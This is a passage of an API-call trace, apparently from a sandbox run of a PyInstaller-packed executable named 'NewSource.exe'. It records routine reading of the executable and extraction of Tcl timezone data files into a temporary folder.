GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Menominee", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Menominee", lpFilePart=0x0) returned 0x49 [0039.218] GetLastError () returned 0x2 [0039.218] SetLastError (dwErrCode=0x2) [0039.219] GetLastError () returned 0x2 [0039.219] SetLastError (dwErrCode=0x2) [0039.219] GetLastError () returned 0x2 [0039.219] SetLastError (dwErrCode=0x2) [0039.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Menominee") returned 74 [0039.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Menominee" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\menominee"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.219] GetFileType (hFile=0x10c) returned 0x1 [0039.219] htonl (hostlong=0xc81f0000) returned 0x1fc8 [0039.219] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.220] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.220] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xfc8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xfc8, lpOverlapped=0x0) returned 1 [0039.220] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.220] CloseHandle (hObject=0x10c) returned 1 [0039.221] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.222] htonl (hostlong=0x30000000) returned 0x30 [0039.222] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.222] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.222] GetFileType (hFile=0x10c) returned 0x1 [0039.222] htonl (hostlong=0x389d5900) returned 0x599d38 [0039.222] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e4d38, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.222] htonl (hostlong=0xf9040000) returned 0x4f9 [0039.222] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4f9) returned 0x550600 [0039.222] htonl (hostlong=0xf9040000) returned 0x4f9 [0039.222] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.223] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.223] htonl (hostlong=0x23190000) returned 0x1923 [0039.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1923) returned 0x561090 [0039.223] htonl (hostlong=0xf9040000) returned 0x4f9 [0039.223] htonl (hostlong=0x23190000) returned 0x1923 [0039.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5629c0 [0039.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5629c0 | out: hHeap=0x530000) returned 1 [0039.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.223] CloseHandle (hObject=0x10c) returned 1 [0039.223] GetLastError () returned 0x0 [0039.223] SetLastError (dwErrCode=0x0) [0039.223] GetLastError () returned 0x0 [0039.223] SetLastError (dwErrCode=0x0) [0039.223] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.224] GetFileType (hFile=0x10c) returned 0x1 [0039.224] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.224] CloseHandle (hObject=0x10c) returned 1 [0039.224] GetLastError () returned 0x0 [0039.224] SetLastError (dwErrCode=0x0) [0039.224] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.224] GetFileType (hFile=0x10c) returned 0x1 [0039.224] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.225] CloseHandle (hObject=0x10c) returned 1 [0039.225] GetLastError () returned 0x0 [0039.225] SetLastError (dwErrCode=0x0) [0039.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.225] GetFileType (hFile=0x10c) returned 0x1 [0039.225] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.225] CloseHandle (hObject=0x10c) returned 1 [0039.225] GetLastError () returned 0x0 [0039.225] SetLastError (dwErrCode=0x0) [0039.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Merida") returned 71 [0039.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Merida" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\merida"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.226] GetLastError () returned 0x2 [0039.226] SetLastError (dwErrCode=0x2) [0039.226] GetLastError () returned 0x2 [0039.226] SetLastError (dwErrCode=0x2) [0039.226] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Merida", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Merida", lpFilePart=0x0) returned 0x46 [0039.226] GetLastError () returned 0x2 [0039.226] SetLastError (dwErrCode=0x2) [0039.226] GetLastError () returned 0x2 [0039.226] SetLastError (dwErrCode=0x2) [0039.226] GetLastError () returned 0x2 [0039.226] SetLastError (dwErrCode=0x2) [0039.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Merida") returned 71 [0039.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Merida" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\merida"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.226] GetFileType (hFile=0x10c) returned 0x1 [0039.226] htonl (hostlong=0x23190000) returned 0x1923 [0039.226] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.228] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.228] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x923, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x923, lpOverlapped=0x0) returned 1 [0039.228] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.228] CloseHandle (hObject=0x10c) returned 1 [0039.229] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.229] htonl (hostlong=0x30000000) returned 0x30 [0039.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.229] GetFileType (hFile=0x10c) returned 0x1 [0039.229] htonl (hostlong=0x31a25900) returned 0x59a231 [0039.229] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e5231, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.229] htonl (hostlong=0x74010000) returned 0x174 [0039.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x174) returned 0x550600 [0039.229] htonl (hostlong=0x74010000) returned 0x174 [0039.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.229] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.229] htonl (hostlong=0xc8040000) returned 0x4c8 [0039.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4c8) returned 0x550780 [0039.229] htonl (hostlong=0x74010000) returned 0x174 [0039.229] htonl (hostlong=0xc8040000) returned 0x4c8 [0039.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.229] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.229] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.229] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.230] CloseHandle (hObject=0x10c) returned 1 [0039.230] GetLastError () returned 0x0 [0039.230] SetLastError (dwErrCode=0x0) [0039.230] GetLastError () returned 0x0 [0039.230] SetLastError (dwErrCode=0x0) [0039.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.230] GetFileType (hFile=0x10c) returned 0x1 [0039.230] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.230] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.230] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.230] CloseHandle (hObject=0x10c) returned 1 [0039.230] GetLastError () returned 0x0 [0039.230] SetLastError (dwErrCode=0x0) [0039.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.230] GetFileType (hFile=0x10c) returned 0x1 [0039.231] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.231] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.231] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.231] CloseHandle (hObject=0x10c) returned 1 [0039.231] GetLastError () returned 0x0 [0039.231] SetLastError (dwErrCode=0x0) [0039.231] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.231] GetFileType (hFile=0x10c) returned 0x1 [0039.231] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.231] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.231] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.231] CloseHandle (hObject=0x10c) returned 1 [0039.232] GetLastError () returned 0x0 [0039.232] SetLastError (dwErrCode=0x0) [0039.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Metlakatla") returned 75 [0039.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Metlakatla" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\metlakatla"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.232] GetLastError () returned 0x2 [0039.232] SetLastError (dwErrCode=0x2) [0039.232] GetLastError () returned 0x2 [0039.232] SetLastError (dwErrCode=0x2) [0039.232] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Metlakatla", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Metlakatla", lpFilePart=0x0) returned 0x4a [0039.232] GetLastError () returned 0x2 [0039.232] SetLastError (dwErrCode=0x2) [0039.232] GetLastError () returned 0x2 [0039.232] SetLastError (dwErrCode=0x2) [0039.232] GetLastError () returned 0x2 [0039.232] SetLastError (dwErrCode=0x2) [0039.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Metlakatla") returned 75 [0039.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, 